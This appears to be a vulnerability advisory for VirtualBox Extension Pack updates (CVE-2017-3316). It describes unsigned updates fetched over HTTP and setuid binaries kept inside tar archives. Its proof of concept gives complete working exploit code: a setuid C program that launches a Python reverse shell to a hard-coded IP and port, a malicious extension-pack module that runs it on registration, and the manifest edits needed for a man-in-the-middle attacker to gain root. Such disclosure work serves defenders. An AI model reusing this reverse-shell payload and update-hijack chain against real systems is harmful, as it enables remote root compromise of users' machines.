1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
== [ Overview ] === System affected: VirtualBox Software-Version: prior to 5.0.32, prior to 5.1.14 User-Interaction: Required Impact: A Man-In-The-Middle could infiltrate an Extension-Pack-Update to gain a root-shell === [ Detailed description ] === In my research about update mechanism of open-source software I found vulnerabilities in Oracle's VirtualBox. It's possible to compromise a system behind a firewall by infiltrating the updates of Extension-Packs because of the following flaws: 1.The Extension-Pack is updated via HTTP instead of HTTPS. The Extension-Packs are not signed, so a Man-In-The-Middle could send his own Extension-Pack(with malicious code included) instead of the regular update to the target. The Code would be executed with user-permissions. I reported this bug to Oracle but I think someone else discovered and reported it before. This bug also affects VirtualBox prior to 5.0.32, prior to 5.1.14. I don't know the CVE. 2.CVE-2017-3316: There is a privilege escalation bug in the downloader of VirtualBox. Extension-Packs are tar-archives. Tar-archives can preserve permissions.A Man-In-The-Middle could include an executable with setuid-permissions to the Extension-Pack. If the victim downloads the Ext-pack, it will be stored as owner root and without checking the permissions of the binaries. This bug affects VirtualBox prior to 5.0.32, prior to 5.1.14 === [ Proof-Of-Concept ] === The executeable of the following code is placed in the Extension-Pack-Archive under linux.amd64/evil with setuid. /* evil.c(executable with the reverse-shell) */ #include <unistd.h> int main() { setuid(0); execl("/usr/bin/python","python","-c","import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.12.32.15\",5000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);",NULL); return 0; } TheVirtualBox-Sources are downloaded next and the following code has to be placed under src/VBox/ExtPacks/Evil/VBoxEvilMain.cpp: /* $Id: VBoxEvilMain.cpp $ */ /** @file * Evil main module. */ /* * Copyright (C) 2010-2016 Oracle Corporation * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #include <VBox/ExtPack/ExtPack.h> #include <VBox/err.h> #include <VBox/version.h> #include <VBox/vmm/cfgm.h> #include <iprt/string.h> #include <iprt/param.h> #include <iprt/path.h> static PCVBOXEXTPACKHLP g_pHlp; static const VBOXEXTPACKREG g_vboxEvilExtPackReg = { VBOXEXTPACKREG_VERSION, /* .uVBoxFullVersion =*/VBOX_FULL_VERSION, /* .pfnInstalled =*/NULL, /* .pfnUninstall =*/NULL, /* .pfnVirtualBoxReady =*/NULL, /* .pfnConsoleReady = */NULL, /* .pfnUnload = */NULL, /* .pfnVMCreated =*/NULL, /* .pfnVMConfigureVMM = */NULL, /* .pfnVMPowerOn =*/NULL, /* .pfnVMPowerOff = */NULL, /* .pfnQueryObject =*/NULL, /* .pfnReserved1 =*/NULL, /* .pfnReserved2 =*/NULL, /* .pfnReserved3 =*/NULL, /* .pfnReserved4 =*/NULL, /* .pfnReserved5 =*/NULL, /* .pfnReserved6 =*/NULL, /* .u32Reserved7 =*/0, VBOXEXTPACKREG_VERSION }; #include <unistd.h> /** @callback_method_impl{FNVBOXEXTPACKREGISTER}*/ extern "C" DECLEXPORT(int) VBoxExtPackRegister(PCVBOXEXTPACKHLP pHlp, PCVBOXEXTPACKREG *ppReg, PRTERRINFO pErrInfo) { pid_t pid = fork(); if(pid == 0) { execl("/usr/lib/virtualbox/ExtensionPacks/Oracle_VM_VirtualBox_Extension_Pack/linux.amd64/evil","evil",NULL); } /* * Check the VirtualBox version. */ if (!VBOXEXTPACK_IS_VER_COMPAT(pHlp->u32Version, VBOXEXTPACKHLP_VERSION)) return RTErrInfoSetF(pErrInfo, VERR_VERSION_MISMATCH, "Helper version mismatch - expected %#x got %#x", VBOXEXTPACKHLP_VERSION, pHlp->u32Version); if ( VBOX_FULL_VERSION_GET_MAJOR(pHlp->uVBoxFullVersion) != VBOX_VERSION_MAJOR || VBOX_FULL_VERSION_GET_MINOR(pHlp->uVBoxFullVersion) != VBOX_VERSION_MINOR) return RTErrInfoSetF(pErrInfo, VERR_VERSION_MISMATCH, "VirtualBox version mismatch - expected %u.%u got %u.%u", VBOX_VERSION_MAJOR, VBOX_VERSION_MINOR, VBOX_FULL_VERSION_GET_MAJOR(pHlp->uVBoxFullVersion), VBOX_FULL_VERSION_GET_MINOR(pHlp->uVBoxFullVersion)); /* * We're good, save input and return the registration structure. */ g_pHlp = pHlp; *ppReg = &g_vboxEvilExtPackReg; return VINF_SUCCESS; } After compiling, this Extension-Pack-Module is placed in the Archive under linux.amd64/VBoxEvilMain.so. It's also necessary to modify the ExtPack.xml so that the Evil-Module is used: <!--?xml version="1.0"?--> <virtualboxextensionpack version="1.0" xmlns="http://www.virtualbox.org/VirtualBoxExtensionPack";> <name>Oracle VM VirtualBox Extension Pack</name> <description>USB 2.0 and USB 3.0 Host Controller, Host Webcam, VirtualBox RDP, PXE ROM, Disk Encryption.</description> <version revision="112026">5.1.10</version> <mainmodule>VBoxEvilMain</mainmodule> <vrdemodule>VBoxVRDP</vrdemodule> <showlicense> </showlicense></virtualboxextensionpack> Note: To make this Extension-Pack valid it is necessary to add all the file-checksumms to ExtPack.manifest. The victim will be asked for the root password during the update. If the attacker sends this malicious Extension-Pack, a reverse root-shell will be executed. === [ Timeline ] === This bug was reported in December. Oracle answered on the same day and gave status reports regularly. They released a patch on January 17th. === [ Credits ] === CVE-2017-3316 was discovered by Wolfgang Hotwagner (https://tech.feedyourhead.at/content/privilege-escalation-in-virtualbox-cve-2017-3316) |